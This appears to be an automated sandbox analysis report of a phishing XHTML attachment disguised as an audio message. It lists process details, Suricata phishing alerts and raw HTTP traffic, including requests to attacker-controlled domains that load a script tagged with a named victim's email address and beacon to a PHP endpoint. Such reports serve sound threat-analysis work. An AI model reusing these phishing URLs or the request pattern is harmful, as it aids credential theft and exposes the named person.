File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:07:27
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3
Imagebase:	0x7ff73f790000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:07:30
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4824 /prefetch:8
Imagebase:	0x7ff73f790000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:07:34
Start date:	26/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml"
Imagebase:	0x7ff73f790000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.6.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML
Source: Yara match	File source: 0.5.pages.csv, type: HTML

Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: New script, src: https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: New script, src: https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: New script, src: https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: New script, src: https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: New script, src: https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com

Source: #Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml	HTTP Parser: .location
Source: #Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml	HTTP Parser: .location

Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: HTML title missing
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: HTML title missing
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: HTML title missing
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: HTML title missing

Source: #Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	HTTP Parser: No <meta name="copyright".. found

Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49753 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49762 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49789 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49784 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49779 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49800 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49795 -> 104.168.138.190:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.5:49773 -> 104.168.138.190:443

Source: Joe Sandbox View	IP Address: 185.174.100.20 185.174.100.20
Source: Joe Sandbox View	IP Address: 139.28.36.38 139.28.36.38
Source: Joe Sandbox View	IP Address: 185.174.100.76 185.174.100.76

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.80.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.80.67
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.68.248
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.62.130
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com HTTP/1.1Host: office.avcbtech.storeConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /start/xls/includes/css6.css HTTP/1.1Host: sender.linxcoded.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0HdPsKK.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KAb5SEy.png HTTP/1.1Host: i.imgur.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0HdPsKK.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /KAb5SEy.png HTTP/1.1Host: i.imgur.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
